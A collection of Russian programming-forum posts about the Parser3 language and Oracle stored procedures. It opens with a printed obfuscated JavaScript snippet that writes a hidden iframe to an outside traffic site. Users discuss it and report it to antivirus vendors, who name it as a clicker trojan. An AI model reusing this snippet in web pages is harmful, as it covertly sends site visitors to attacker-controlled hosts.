Каспер такого еще не знает.\
\
[code]<script>\
var s='';s+='060047116101120116097116101097062060047116101120116097114101097062';\
s+='060105102114097109101032115114099061034104116116112058047047116114097102102108111097100115046105110';\
s=s+'047105110046099103105063050034032119105100116104061034049034032104101105103104116061034049034032115';\
s=s+'116121108101061034100105115112108097121058110111110101034062060047105102114097109101062';\
t='';l=s.length;i=0; while(i<(l-1)){for(j=0;j<3;j++){t+=s.charAt(i);i++;}if((t-unescape(0xBF))>unescape(0x00))t-=-(unescape(0x08)+unescape(0x30));\
document.write(String.fromCharCode(t));t='';}}ndfc();</script>[/code]"
"62076","Класс из примеров: http://www.kulikoff.net/parser3/img/ отличная вещь. Я использую с NConvert.\
\
ps: Одна из последних версий nconvert некорректно работает с изображениями. Т.е. вообще никак. Думаю уже поправили, но я поимел с этим много недоумения, пока не почитал их форум. Пришлось на более старую откат делать."
"62077","Их в неделю по пять модификаций выходит. :)\
Сдайте касперу и в mcafee."
"62081","[quote]Здравствуйте.\
Trojan-Clicker.HTML.IFrame.ab\
В присланном Вами файле обнаружено новое вредоносное программное обеспечение. \
Его детектирование будет включено в очередное обновление антивирусных баз. \
Благодарим за оказанную помощь.[/quote]\
\
Во как."
"62083","в том же стареньком \"Mouse\" вся админка строилась на\
Parser + jQuery + Ajax\
\
вот вам и примеры для начала"
"62084","интересный подход в парсере -\"ЗАЧЕМ ЭТО НУЖНО ИЛИ КОНКРЕТНЕЕ ЗАДАЧУ\".\
получается все что делает оракле в хранимых процедурах это фигня - все можно сделать в парсере писать select, insert, update, commit. НЕЕЕ ребяты.\
\
причина 1.\
если пакет оракле содержащий только статический скл откомпилировался  - в нем 100% ошибок нет, \
а если текст sql в auto.p  - ошибка вылезет во время выполнения и исправлять ее в коде парсера, да еще вперемешку с экранирующими символами и параметрами не очень удобно. \
когда представляю селект на 500 строк с 10 таблицами и пересыпанный параметрами в коде парсера  - становитсья дурно.\
\
причина 2.\
При изменении чего либо(структур таблиц,тригеров,параметров функций, процедур и др.)которые используются в процедуре возвращающей курсор оракл тыкнет вас в строки содержащие ошибки. исправление которых - минутное дело.\
\
причина 3. \
разделение труда. \
Оракловую логику и обработки пишет другой человек. \
Тот кто на парсере - формы,таблицы,java скрипты и прочую красоту.\
\
причина 4. \
никакаой редактор для правки парсеровского кода не сравнится с девелопером или тоадом - предназначеннім для оракле.\
\
причина 5.\
скорость выполнения запросов сформированных в парсере меньше чем у статического скл в хранимых процедурах.\
\
\
\
а пример простой  - у меня уже есть оракловая процедура которая возвращает курсор по номеру больничного.\
\
[code]-- Курсор возвращает БЛ по месяцам\
procedure cur_hp_for_months_serv\
     (p_hp_id         in     hospital_pages.id%type\
     ,p_view          in     number default 2  -- ПРОсмотр - 1 расчет\
     ,p_hp_for_months in  out t_hp_for_months) is\
\
-- Количество дней больничного за счет предприятия\
   v_count_day_ill_on_firm      number := constants.value_cond_constant_for_date('count_day_ill_on_firm',constants.sal_current_period);\
\
   v_month                      number(2);\
   v_year                       number(4);\
   v_count_day_ill              number(4);   \
   v_account_no_firm            accounts.account_no%type;\
   v_account_no_fsi             accounts.account_no%type;\
\
   v_payment_item_on_firm       number;\
   v_payment_item_on_fsi        number;\
\
   v_hp_id_initial              number;    -- id родительского больничного (самого первого) \
   v_initial_hp_date_first      date;      -- Дата первичного больничного (самого первого)\
   \
   v_start_month                number;    -- месяц начала выборки ЗП для средней\
   v_start_year                 number;    -- год начала выборки ЗП для средней\
   v_average_sal_day            number;    -- среднедневная\
   v_average_sal_hour           number;    -- среднечасовая\
   v_average_sal_day_percent    number;    -- среднедневная с учетом %\
   v_average_sal_hour_percent   number;    -- среднедчасоваы с учетом %\
   \
   p_time_work_less_6_month     number;    -- Если человек отработал на фабрике меньше чем пол года = 1  \
   p_minimum_salary             number;    -- минимальная зп на дату наступления страхового случая\
   v_cur                        general.t_cur;\
\
   cursor cr_hp is\
      select hp.employee_tab_num    as emp_num\
            ,hp.date_first\
            ,hp.date_last            \
            ,hp.type_hospital_page  \
            ,hp.parent\
            ,hp.method_calc\
            ,hp.percent_pay\
            ,hp.postone_id\
            ,i.illness_type_code\
            ,i.source_pay\
        from hospital_pages hp\
            ,illnesses i\
       where hp.illnesse_num = i.num\
         and hp.id = p_hp_id;\
   rec_hp                       cr_hp%rowtype;\
   v_emp_num                    employees.tab_num%type;   \
   v_date_hp_first              hospital_pages.date_first%type;\
   v_date_hp_last               hospital_pages.date_last%type;\
   v_type_hospital_page         hospital_pages.type_hospital_page%type;   \
   v_parent                     hospital_pages.parent%type;\
   v_method_calc                hospital_pages.method_calc%type;\
   v_percent_pay                hospital_pages.percent_pay%type;\
   v_illness_type               illnesses.illness_type_code%type;\
   v_source_pay                 illnesses.source_pay%type;\
   v_postone_id                 hospital_pages.postone_id%type;\
   v_key_hp                     varchar2(300);  -- все параметры больничного\
\
   v_division_num               number;   \
   cursor cr_division is\
      select po.division_num\
        from employee_postones ep\
            ,postonefound_orders po\
       where ep.postone_id = po.order_num\
         and ep.employee_tab_num = v_emp_num\
         and ep.date_period = trunc(last_day(constants.sal_current_period));\
\
   -----\
   -- курсор возвращает БЛ с разбивкой по месяцам и источникам оплаты (из средств предприятия и ФСС)\
   procedure cur_hp_firm\
        (p_count_day_ill_on_firm in number\
        ,p_hp_firm out t_hp_for_months) is\
   begin\
\
   open p_hp_firm for\
      select it1.month                                                                as month\
            ,it1.year                                                                 as year\
            ,it1.date_first                                                           as date_first   \
            ,it1.date_last                                                            as date_last\
            ,it1.count_festive                                                        as count_festive\
            ,it1.count_day_ill                                                        as count_day\
            ,it1.count_hours_ill                                                      as count_hours_ill\
            ,get_sum_hp(it1.key\
                       ,it1.count_day_ill\
                       ,it1.count_hours_ill\
                       ,v_key_hp)                                                     as payment_sum\
            ,it1.payment_code                                                         as payment_code\
            ,it1.account                                                              as account\
            ,it1.account_no                                                           as account_no\
            ,it1.type_hospital_page                                                   as type_hospital_page \
            ,it1.parent                                                               as parent\
            ,0                                                                        as return_code\
            ,it1.key                                                                  as key\
            ,v_key_hp                                                                 as key_hp            \
      from \
         (select ur.month\
               ,ur.year\
               ,min(ur.date_absent)                                                date_first\
               ,max(ur.date_absent)                                                date_last\
               ,nvl(sum(ur.festive),0)                                             count_festive\
               ,nvl(sum(ur.ill),0)                                                 count_day_ill\
               ,nvl(sum(ur.count_hours),0)                                         count_hours_ill\
               ,ur.payment_code\
               ,ac.account_no                                                      account\
               ,ac.account_no_alt||' '||ac.account_name                            account_no\
               ,ur.type_hospital_page\
               ,ur.parent\
               ,0                                                                  return_code\
               ,ur.month||'^'||ur.year||'^'||ur.payment_code||'^'||ac.account_no   key\
           from accounts ac\
               ,(select distinct\
                        to_number(to_char(a.date_absent,'mm'))  month\
                       ,to_number(to_char(a.date_absent,'yyyy'))year\
                       ,a.date_absent\
                       ,decode(a.timeboard_symbol_code,'х',0,1) festive\
                       ,decode(a.timeboard_symbol_code,'х',1,0) ill\
                       ,a.count_hours\
                       ,v_payment_item_on_firm                  payment_code\
                       ,v_account_no_firm                       account_no\
                       ,hp.type_hospital_page\
                       ,hp.parent\
                       ,hp.id\
                       ,hp.method_calc\
                       ,hp.percent_pay\
                   from hospital_pages hp\
                       ,v_symbol_hospital_pages a\
                  where hp.id = a.hp_id\
                    and a.date_absent >= hp.date_first\
                    and a.date_absent <= decode(sign(p_count_day_ill_on_firm - (hp.date_last - hp.date_first + 1))\
                                                    ,-1,hp.date_first + p_count_day_ill_on_firm - 1\
                                                    ,hp.date_last)\
                    and hp.id = p_hp_id\
                        union all -- + fsi\
                 select distinct\
                        to_number(to_char(a.date_absent,'mm'))  month\
                       ,to_number(to_char(a.date_absent,'yyyy'))year\
                       ,a.date_absent\
                       ,decode(a.timeboard_symbol_code,'х',0,1) festive\
                       ,decode(a.timeboard_symbol_code,'х',1,0) ill\
                       ,a.count_hours\
                       ,v_payment_item_on_fsi                   payment_code\
                       ,v_account_no_fsi                        account_no\
                       ,hp.type_hospital_page\
                       ,hp.parent\
                       ,hp.id\
                       ,hp.method_calc\
                       ,hp.percent_pay\
                   from hospital_pages hp\
                       ,v_symbol_hospital_pages a\
                  where hp.id = a.hp_id\
                    and a.date_absent >= hp.date_first + p_count_day_ill_on_firm and a.date_absent <= hp.date_last\
                    and hp.id = p_hp_id) ur\
          where ac.account_no = ur.account_no\
       group by ur.month\
               ,ur.year\
               ,ur.payment_code\
               ,ac.account_no\
               ,ac.account_no_alt\
               ,ac.account_name\
               ,ur.type_hospital_page\
               ,ur.parent\
               ,ur.method_calc\
               ,ur.percent_pay\
       ) it1 \
       order by date_first;\
\
   end cur_hp_firm;\
   -----\
   -- курсор возвращает БЛ с разбивкой по месяцам (источник оплаты - только из средств ФСС)\
   procedure cur_hp_fsi(p_hp_fsi out t_hp_for_months) is\
   begin\
\
      open p_hp_fsi for\
      select it1.month                                                                as month\
            ,it1.year                                                                 as year\
            ,it1.date_first                                                           as date_first   \
            ,it1.date_last                                                            as date_last\
            ,it1.count_festive                                                        as count_festive\
            ,it1.count_day_ill                                                        as count_day\
            ,it1.count_hours_ill                                                      as count_hours_ill\
            ,get_sum_hp(it1.key\
                       ,it1.count_day_ill\
                       ,it1.count_hours_ill\
                       ,v_key_hp)                                                     as payment_sum\
            ,it1.payment_code                                                         as payment_code \
            ,it1.account                                                              as account\
            ,it1.account_no                                                           as account_no\
            ,it1.type_hospital_page                                                   as type_hospital_page \
            ,it1.parent                                                               as parent\
            ,0                                                                        as return_code\
            ,it1.key                                                                  as key\
            ,v_key_hp                                                                 as key_hp\
      from \
           (select ur.month                                      month \
                 ,ur.year                                        year\
                 ,min(ur.date_absent)                            date_first\
                 ,max(ur.date_absent)                            date_last\
                 ,nvl(sum(ur.festive),0)                         count_festive\
                 ,nvl(sum(ur.ill),0)                             count_day_ill\
                 ,nvl(sum(ur.count_hours),0)                     count_hours_ill\
                 ,ur.payment_code                                payment_code\
                 ,ac.account_no                                  account\
                 ,ac.account_no_alt||' '||ac.account_name        account_no          -- имя счета и название - для отображения\
                 ,ur.type_hospital_page                          type_hospital_page\
                 ,ur.parent                                      parent\
                 ,0                                              return_code\
                 ,ur.month||'^'||ur.year||'^'||ur.payment_code||'^'||ac.account_no\
                                                                 key\
             from accounts ac\
                 ,(select distinct\
                          to_number(to_char(a.date_absent,'mm'))  month\
                         ,to_number(to_char(a.date_absent,'yyyy'))year\
                         ,a.date_absent\
                         ,decode(a.timeboard_symbol_code,'х',0,1) festive\
                         ,decode(a.timeboard_symbol_code,'х',1,0) ill\
                         ,a.count_hours\
                         ,v_payment_item_on_fsi                   payment_code\
                         ,v_account_no_fsi                        account_no\
                         ,a.type_hospital_page\
                         ,a.parent\
                         ,a.method_calc\
                         ,a.percent_pay\
                     from v_symbol_hospital_pages a\
                    where a.hp_id = p_hp_id) ur\
            where ac.account_no = ur.account_no\
         group by ur.month\
                 ,ur.year\
                 ,ur.payment_code\
                 ,ac.account_no\
                 ,ac.account_no_alt\
                 ,ac.account_name\
                 ,ur.type_hospital_page\
                 ,ur.parent\
                 ,ur.method_calc\
                 ,ur.percent_pay) it1\
         order by date_first;\
\
   end cur_hp_fsi;\
   -----\
begin\
\
   v_month := to_number(to_char(constants.sal_current_period,'mm'));\
   v_year  := to_number(to_char(constants.sal_current_period,'yyyy'));\
   -- определяем последний месяц и год выборки средней з-ты для расчета БЛ\
   start_period_for_calc_hp(p_hp_id\
                           ,v_hp_id_initial  -- out САМЫЙ первичный больничный\
                           ,v_initial_hp_date_first -- out дата САМОГО первичного больничного(дата наступления страхового случая)                       \
                           ,v_start_month    -- out начальный месяц первичного больничного\
                           ,v_start_year\
                           );   -- out начальный год первичного больничного\
   -- определяем среднуюю з-ту БЛ\
  sal_hospital_page.payment_illness (p_hp_id\
                                    ,v_start_month\
                                    ,v_start_year\
                                    ,p_view\
                                    ,v_average_sal_day           -- out среднедневная \
                                    ,v_average_sal_hour          -- out среднечаосвая \
                                    ,v_average_sal_day_percent   -- out среднедневная за вычетм %\
                                    ,v_average_sal_hour_percent  -- out среднечаосвая за вычетм %\
                                    ,v_cur);\
\
   ----- Определяем параметры больничного\
   open  cr_hp;\
   fetch cr_hp into rec_hp;\
   close cr_hp;\
       v_emp_num            := rec_hp.emp_num;\
       v_date_hp_first      := rec_hp.date_first;\
       v_date_hp_last       := rec_hp.date_last;\
       v_type_hospital_page := rec_hp.type_hospital_page;\
       v_parent             := rec_hp.parent;\
       v_method_calc        := rec_hp.method_calc;\
       v_percent_pay        := rec_hp.percent_pay;\
       v_illness_type       := rec_hp.illness_type_code;\
       v_source_pay         := rec_hp.source_pay;\
       v_postone_id         := rec_hp.postone_id;\
   \
   -- определяем подразделение по коду ШЕ и Таб номеру на посдеднюю дату текущего периода\
   open  cr_division;\
   fetch cr_division into v_division_num;\
   close cr_division;\
   -------------- определяем есть ли ограничение на 6 месяцев стажа\
   get_param_start_hp(v_emp_num\
                     ,v_initial_hp_date_first      -- in     дата первоначального больничного\
                     ,p_time_work_less_6_month     --    out p_time_work_less_6_month := 1 если человек отработал на фабрике меньше чем пол года\
                     ,p_minimum_salary);           --    out минимальная ЗП на момент наступления ситрахового случая (самый первый родительский больничный)\
\
   --- Определяем счета и код начисления для фонда соцстраха \
    v_payment_item_on_fsi   := sal_calculation.payment_item_for_document('БЛ',null,null,null,v_illness_type,null,null,null);\
    v_account_no_fsi        := sal_calculation.get_cost_item(v_month,v_year,'БЛ',null,null,null,v_illness_type,null,null,null,null,null);\
   --- Определяем счета и код начисления для предприятия\
    v_payment_item_on_firm  := constants.value_cond_constant_for_date('payment_item_illnesspay_on_firm',constants.sal_current_period);    \
    v_account_no_firm       := sal_calculation.get_cost_item(v_month,v_year,v_payment_item_on_firm);\
   -- Формируем Ключ со всеми параметрами больничного (чтоб не плодить кучу полей и передаем в курсор)\
   v_key_hp :=  v_emp_num             ||'^'||  --1\
                v_date_hp_first       ||'^'||  --2  Дата начала болезни\
                v_date_hp_last        ||'^'||  --3  Дата конца  болезни\
                v_type_hospital_page  ||'^'||  --4  Тип больничного 0-первый, 1-продолжение предыдущего БЛ\
                v_parent              ||'^'||  --5  id Родительский больничный\
                v_method_calc         ||'^'||  --6  Метод расчета = 0-расчет ведется по дням, 1- по часам\
                v_percent_pay         ||'^'||  --7  % оплаты (зависти от количества лет стажа)\
                v_illness_type        ||'^'||  --8  тип заболевания (для видов начисления з-ты) (хвороба,догляд,декрет,виробнича травма,травма)\
                v_source_pay          ||'^'||  --9  источник оплаты больничного 1- из средств предприятия и ФСС, 0-только из ФСС \
                ---------------\
                v_division_num        ||'^'||  --10 подразделение по коду ШЕ и Таб номеру на посдеднюю дату текущего периода \
                v_payment_item_on_fsi ||'^'||  --11 код начисления для фонда соцстраха\
                v_account_no_fsi      ||'^'||  --12 счет для фонда соцстраза \
                v_payment_item_on_firm||'^'||  --13 код начисления для предприятия\
                v_account_no_firm     ||'^'||  --14 счет для предприятия\
                ---------------   \
                v_average_sal_day     ||'^'||  --15 среднедневная \
                v_average_sal_hour    ||'^'||  --16 среднечасовая\
                ---------------                   \
                p_time_work_less_6_month ||'^'|| --17 1 если человек отработал на фабрике меньше чем пол года\
                p_minimum_salary         ||'^'|| --18 минимальная ЗП на дату наступления страхового случая     \
                v_postone_id             ||'^'|| --19 Код штатной единицы из больничного (нельзя использовать функции из за уволенных рабочих с больничными)  \
                ---------------\
                v_average_sal_day_percent ||'^'||--20 среднедневная за вычетм %\
                v_average_sal_hour_percent||'^'||--21 среднечаосвая за вычетм %\
                v_initial_hp_date_first ; -- 22 дата наступления страхового случая\
                \
                \
\
   -- Форомируем курсор\
   if v_source_pay = 1 then --источник оплаты больничного 1-из средств предприятия и ФСС\
      if v_type_hospital_page = 1 then -- 1-продолжение предыдущего БЛ\
         -- оперделяем кол-во дней болезни (по предыдущим БЛ)\
         v_count_day_ill := count_day_previous_hp(v_parent);\
         -- если кол-во дней предыдущих БЛ более или равно 5 значит уже оплачено из средств предприятия\
         -- т.е. оплата только из средств ФСС\
         if v_count_day_ill >= v_count_day_ill_on_firm then\
            cur_hp_fsi(p_hp_for_months);\
         else\
            -- определяем кол-во дней которые нужно оплатить из средств предприятия\
            v_count_day_ill_on_firm := v_count_day_ill_on_firm - v_count_day_ill;\
            cur_hp_firm(v_count_day_ill_on_firm,p_hp_for_months);\
         end if;\
      else  -- первичный БЛ\
            cur_hp_firm(v_count_day_ill_on_firm,p_hp_for_months);\
      end if;\
   else  --0-только из ФСС\
      cur_hp_fsi(p_hp_for_months);\
   end if;\
\
end cur_hp_for_months_serv;[/code]"
"62085","а если честно -  то есть мысли избавиться от клиентского приложения вообще,без переделки серверной части."
"62086","я обучал рекурсии (и многому другому).\
и, доложу, ребята прекрасно справлялись.\
\
ООП куда ближе обычному человеку, чем кажется.\
\
не согласен, короче ;)"
"62087","да и закончился уже.\
буквально такого же не было ещё.."
"62088","вы прочли в моём сообщении больше, чем там было.\
зачем нужны хранимые процедуры все вроде бы понимают.\
с примером: в ms можно из функции выдать таблицу. т.е. получить курсор, проитерировать его, наполнить данными таблицу и выдать. в parser подобрать готовую таблицу.\
возможно, в oracle можно так же сделать?\
в крайнем случае всегда остаются сессионные temp таблицы.\
\
давайте в отдельную ветку перейдём?"
"62089","А вот насчет создания библиотеки для начинающих - это здравая мысль. Ведь для этого не надо делать никаких кореных преобразований в Parserе, достаточно включить библиотеки.\
В принципе, если [i]начальство[/i] одобрит :-), то может начать разработку сих библиотек. (Конечно, разработка - это только красивое слово. По-настоящему это просто комоновка функций). А потом уже все это выложить на сем сайте где-нибудь в уголочке\
(c)Философ"
"62090","Были бы только исходники - сразу бы взялись. Но Parser - это не GNU GPL, исходников в нем не распространяется, а декомпилировать нельзя (См. лицензию :-)). \
Но вот идею подкинули с созданием библиотек, упрощающих использования Parserа - это весьма воплотимо и легко. Начнем-с разрабатывать. Надеемся, как Вы говорите, общественность оценит\
(c)Философ"
"62091","Вероятно (даже очень вероятно), Вы правы.\
Будем надеяться, что с Parserом мы привлечем в ряды Web-программистов новых и новых разработчиков. (Как говорят, что необходимо в современной жизни овладевать ООП-языками. Ну что ж. Пусть уж лучше начинаю с Parserа).\
Но просто неплохо было бы чисто формально сказать, что если Вы пока не можете разобраться с третьим Parserом, скачайте второй, поизучайте, попрактикуйтесь. И потом смело переходите к третьему, в ходе изучения которого Вы научитесь еще и ООП-программированию (Что очень актуально)\
(c)Философ"
"62092","Кгм, простите, но мы ничего против Parserа не говорим. Мы НЕ говорим, что он чем-то плох и неудобен, просто в некоторых случаях лучше начать с чего попроще, а потом уже переходить в чему посложнее.\
[quot]Статья 29 (Конституции Российской Федерации)\
1. Каждому гарантируется свобода мысли и слова. \
2. Не допускаются пропаганда или агитация, возбуждающие социальную, расовую, национальную или религиозную ненависть и вражду. Запрещается пропаганда социального, расового, национального, религиозного или языкового превосходства. \
3. Никто не может быть принужден к выражению своих мнений и убеждений или отказу от них. \
4. Каждый имеет право свободно искать, получать, передавать, производить и распространять информацию любым законным способом. Перечень сведений, составляющих государственную тайну, определяется федеральным законом. \
5. Гарантируется свобода массовой информации. Цензура запрещается. [/quot]\
P.S. Вышериведенная цитата просто пришлась, как говорится, к слову, и не содержит никаких намеков. Надеемся, сими размышлениями мы никого не обидели\
[quot]Да прибудет с нами сила[/quot]\
(c)Философ"
"62093","[quot]\
Но Parser - это не GNU GPL, исходников в нем не распространяется, а декомпилировать нельзя (См. лицензию :-)).\
[/quot]\
\
я что-то пропустил?\
http://www.parser.ru/download/license/\
[quot]\
...К настоящей лицензии применяются нормы GNU GPL...\
[/quot]"
"62094","Есть мнение, что если человеку тяжело освоить Парсер 3, то лучше не стоит заниматься веб-программированием вообще.\
Видимо, не его это.\
\
Да, Парсер 2 — проще, но преходить потом с него может оказаться сложнее, чем начинать с тройки.\
Сходите на первые страницы форума, посмотрите как народ ломало поначалу, как писали себе аналоги привычных методов...\
\
Думаю, дело не в том, что новичкам предлагают сразу достаточно мощный язык, а в том, что Парсер позиционируется как \"язык для непрограммистов\".\
Достаточно переформулировать \"лозунги\" и всё встанет на свои места.\
И люди не будут шарахаться от возможных сложностей и разочарований в плане того, что на деле чуть сложнее, чем в аннотации, у пользователей не будет.\
\
Предложения переформулировать/убрать аннотацию, как просто смешную, были, но как-то не сложилось — до сих пор висит."
"62095","В некотром роде, \"библиотеки\" [url=\"http://www.parser.ru/examples/\"]уже имеются[/url].\
Там всё в готовом или практически готовом виде.\
Если изучать вдумчиво — очень полезно.\
\
Но люди почему-то упорно стремяться к \"голубой мечте\" — некому набору готовых решений, чтоб взял и всё само заработало.\
Так не бывает.\
\
99% кода, принципиально открытого кода — мусор, глядя в который зудит всё написать самому.\
Максимум, что можно почерпнуть — идею, местами — практическую реализацию.\
Но это, опять же, копание в чужом потоке сознания.\
В этом плане, упомянутые выше Примеры — гораздо более полезная штука, ибо и теория излагается и пример реализации даётся."
"62096","Уважаемые, может у кого есть работаютщая версия поделитесь плиз.\
собрать не могу, т.е. c shared libgc собирается но падает, а статическая вообще не собирается похоже что там проблемы с тредами или другие библиотеки статические нужны.\
Дайте бинарники. а то голову скоро оторвут.. в офисе :("
"62097","Делайте, выкладывайте, давайте ссылку в форуме. Вполне возможно, что кому-то и пригодится."
"62099","сделал как вы сказали, расскоментировал ключик\
все собралось в core не падает\
но вылезла другая проблема \
\
[Wed Aug 22 15:56:38 2007] [3038] : ./auto.p(22:10): 'pgsql://www_office:xxxxx@localhost/www_office' undefined\
protocol 'pgsql' [parser.runtime] [uri=, method=GET, cl=0]\
\
может я собираю как то не так, библиотеки (они тоже работали раньше нормально, я их взял из чьей-то сборки debian) для поддержки лежат в /usr/local/lib\
в auto.p\
прописано следующее \
\
$confdir[/usr/local]\
$charsetsdir[$confdir/etc/parser3.charsets]\
$sqldriversdir[$confdir/lib]\
\
$SQL[\
$.drivers[^table::set{protocol  driver  client\
mysql   $sqldriversdir/libparser3mysql.so       /usr/lib/mysql/libmysqlclient.so\
pgsql   $sqldriversdir/libparser3pgsql.so       /usr/lib/libpq.so\
    }]\
]\
@auto[]\
\
        $title[....::Office]\
        $connect_string[pgsql://www_office:xxxxx@localhost/www_office]\
        ^connect[$connect_string]{^void:sql{set client_encoding='koi8'}}\
        $body_class[]\
..\
где рыть?"
"62100","- приведите полностью содержимое вашего конфигурационного auto.p (в приведенном куске есть две непонятные вещи: неясно в каком методе перва часть и указанный вами путь к либам не сответствует написанному в коде)\
\
- что выдаёт _test.html? таблица $SQL определена? пути к либам найдены?"
"62101","Вот, как я уже говорил, я практически во всем согласен с Вами. В [url=http://www.parser.ru/forum/?id=62027]самой первой статье[/url] было сказано, что, если уж третий Parser - не язык для \"непрограммистов\", то уж следует поменять аннотацию на что-то вроде: \"Если Вы занимаетесь (млм только начали заниматься) серверным программированием, то советуем Вам обратить внимание на Parser. По функциональности он схож с PHP, но в некоторых случаях может быть ораздо удобнее\".\
В любом случае, как мы выяснили из нашей полемики - Parser-настоящий язык, а не побрекушка для \"непрограммистов\", которым все непонятно и в таком случае его надо аннотировать как что типа \"Достойного конкурента PHP\", но ни в коем случае не как \"Типа PHP, но гораздо упрощенного\"\
(c)Философ"
"62103","см http://www.parser.ru/forum/?id=62099\
библиотеку взяты из сборки для Debian"
"62104","в дистрибутиве нехватает файлов...,\
в частности, полностью папки /ajax/\
Кроме того, думаю что-то еще отсутствует, т.к. после установки дистрибутив ругается на отсутствие и других файлов.\
Жаль."
"62106","Иногда, когда бардак в голове и ничего путного туда не приходит, достаточно, чтобы кто-нибудь пнул в нужном направлении.\
\
Проблема состояла (как я понял для себя) в излишнем богатстве выбора Framewor-ов под Ajax: пытался схватиться сразу за все, в результате помер под грузом информации.\
\
jQuery действительно оказался настолько простым, (как его [url=\"http://www.rsdn.ru/article/inet/jQuery.xml?print\"]Описывают[/url]), что для его освоения с помощью тутора [url=\"http://ouch.kiev.ua/2007-04-17/1299.html\"]jQuery от memyself[/url] потребовалось всего пару часов.\
\
Спасибо. Как говориться, \"лучше день потерять, а потом за 15 минут долететь\".\
Спасибо."
"62107","В другую ветку это куда?\
\
а использовать промежуточные таблицы - это не вопрос.\
-можно выгружать результаты курсора в таблицу, а затем уже \"подбирать\" парсером.(первый минус в парсере остается код запроса  и прийдется создавать \"лишние\" таблицы.)\
\
на сервере это можно сделать так\
\
procedure copy_cursor_to_table\
 (p_cur                          in     general.t_cur)is\
\
  PRAGMA AUTONOMOUS_TRANSACTION;\
\
  rec                               average_sal_hp_for_report%rowtype;\
\
begin\
\
  delete average_sal_hp_for_report;\
\
  loop\
\
    fetch p_cur into rec;\
\
    exit when p_cur%notfound = true;\
\
    insert into average_sal_hp_for_report (... )\
      values\
    ( ... );\
\
  end loop;\
\
  commit;\
\
end copy_cursor_to_table ;\
\
-можно переделать процедуру чтобы она возвращала не курсор а clob переменную и запихивать курсор в нее (через табуляцию и chr(13)) для дальнейшего сохранения в cfg файл парсером.\
\
-можно возвращать хмл опять таки в clob.\
\
т.е. чтобы избавиться от клиентского приложения и перейти на парсер, прийдется переделывать процедуры возвращающие курсоры :(\
щас попробую 2 вариант с clob  - хоть мусорных таблиц будет поменьше."
"62108","[quot]\
первый минус в парсере остается код запроса и прийдется создавать \"лишние\" таблицы.\
[/quot]\
\
в парсере может остаться лишь код вызова хранимой процедуры, которая вернёт парсеру таблицу."
"62109","[quote]в парсере может остаться лишь код вызова хранимой процедуры, которая вернёт парсеру таблицу.[/quote]\
как так? \
\
Вызываю процедуру которая заполняет временную таблицу\
$variables[ \
           $.p_month(6) \
           $.p_year(2007) \
	     ] \
 ^connect[$connect_string]{ \
	^void:sql{begin test_.test(:p_month, :p_year)^; end^;}[$.bind[$variables]] \
}\
забираю данные из временной таблицы\
^MAIN:dbconnect{ \
 $t_table[^table::sql{ select tab_num, last_name, first_name from temp }]\
   ^if($t_table){\
	<table>\
	^t_table.menu{ \
                           <tr> \
                              <td>$t_table.tab_num</td>\
                              <td>$t_table.last_name</td>\
                              <td>$t_table.first_name</td>\
                           </tr> \
		 }\
	</table>\
	}{\
	   ошибочка\
	}\
 }\
\
есть и код вызова хранимой процедуры и select * from temp"
"62110","2 вариант прокатил\
в оракловой процедуре возвращаю p_out_result тип clob  \
в которой через chr(9)- разделитель столбиков и chr(13) конец строки.\
далее сохраняю в текстовый файл, загружаю и использую. )) \
\
$variables[ \
     $.p_month(6) \
     $.p_year(2007) \
     $.p_out_result[] \
	 ] \
\
^connect[$connect_string]{ \
	^void:sql{begin test_andrey.test(:p_month, :p_year, :p_out_result)^; end^;}[$.bind[$variables]] \
}\
\
\
$tmp[^file::create[text;tmp.txt;$variables.p_out_result]]\
^tmp.save[text;/tmp.txt]\
\
$sections[^table::load[/tmp.txt]]\
<table>\
   ^sections.menu{\
   <tr>\
   <td>$sections.col1</td>\
   <td>$sections.col2</td>\
   <td>$sections.col3</td>      \
   </tr>\
   }\
</table>\
\
сколько ненужных операций )))"
"62111","разве оракловые хранимые процедуры не умеют возвращать таблицу?\
как-то, ещё с p2, имел дело с informix, там подобный хинт прокатывал, выполнялся запрос-вызов хранимой процедуры, результатом которой была таблица."
"62113","[code]\
$tmp[^file::create[text;tmp.txt;$variables.p_out_result]]\
^tmp.save[text;/tmp.txt]\
\
$sections[^table::load[/tmp.txt]]\
[/code]\
=>\
[code]\
$sections[^table::create{^taint[as-is][$variables.p_out_result]}]\
[/code]"
"62114","Во второй версии была удобная команда [code] ^table[количество_столбцов;код][/code], позволяющая выводить не морочась данные в нужное количество столбцов.\
\
Есть аналог в третьей версии?\
\
Нужно вывести данные в три колонки, не соображу как сделать :("
"62115","http://www.parser.ru/examples/p2table/"
"62116","Смотрела, но видимо просмотрела. Спасибо :)"
"62117","а никто не говорит что оракле не умеет возвращать таблиц - просто, я так понял, парсер не умеет их брать ;) т.е. out параметр должен быть только простого типа VARCHAR,VARCHAR2, NUMBER или CLOB ;( \
\
[quote]PAF  - поддерживаются только простые binds: строки, числа.\
таблицы(=cursors, как в вашем примере) не поддерживаются.[/quote]\
\
\
Если я чтот не так понял киньте пример как забрать out параметр  (курсор) хранимой процедуры в таблицу парсера?\
типа \
[code]$variables[ \
     $.p_month(6) \
     $.p_year(2007) \
     $.p_out_result[] \
	     ] \
\
^connect[$connect_string]{ \
	^void:sql{begin test_andrey.test(:p_month, :p_year, :p_out_result)^; end^;}[$.bind[$variables]] \
}\
\
#$variables.p_out_result  Уже таблица парсера[/code]"
"62118","Не могли бы Вы дать ссылку на пример? Не могу разобраться с входными данными"
"62120","интересное наблюдение...\
если для сохранения \
$tmp[^file::create[text;tmp.txt;^taint[as-is][$variables.p_out_result]  ]]\
^tmp.save[text;/tmp.txt]\
$sections[^table::load[/tmp.txt]]\
в качестве разрыва строки таблицы достаточно было chr(13)\
записанный файл выглядит без лишних пробелов между строками \
\
то этот вариант \
$sections[^table::create{^taint[as-is][$variables.p_out_result]}]\
требует  chr(10)||chr(13) в качестве разрыва строки\
записанный файл выглядит с лишними пробелами между строками.\
\
\
тут все правильно?"
"62121","Вобщем если с курсорами глухо, - то это самый приемлемый вариант. Спасибо."
"62122","парсер внутри знает лишь про unix-овый перевод строки (\\x0A), при загрузке/сохранении _текстовых_ файлов (не binary) он правит переводы строк, и вся дальнейшая работа идет с расчетом, что символов \\x0D нет.\
\
при получении данных от sql он подобных правок не делает, т.е. вам надо выдавать \\x0A в качестве символа перевода строки (в вашем случае chr(10))."
"62123","Требуется программист на фултайм в офис в Москве.\
\
Parser, MySQL, XML/XSL, JavaScript, HTML - надо знать и уметь.\
Мы работаем на *nix, в котором тоже неплохо бы немного разбираться.\
\
Зарплата белая, испытательный срок по результатам собеседования и выполнения [url=\"http://madgroup.ru/madjob/parser/\"]тестового задания[/url].\
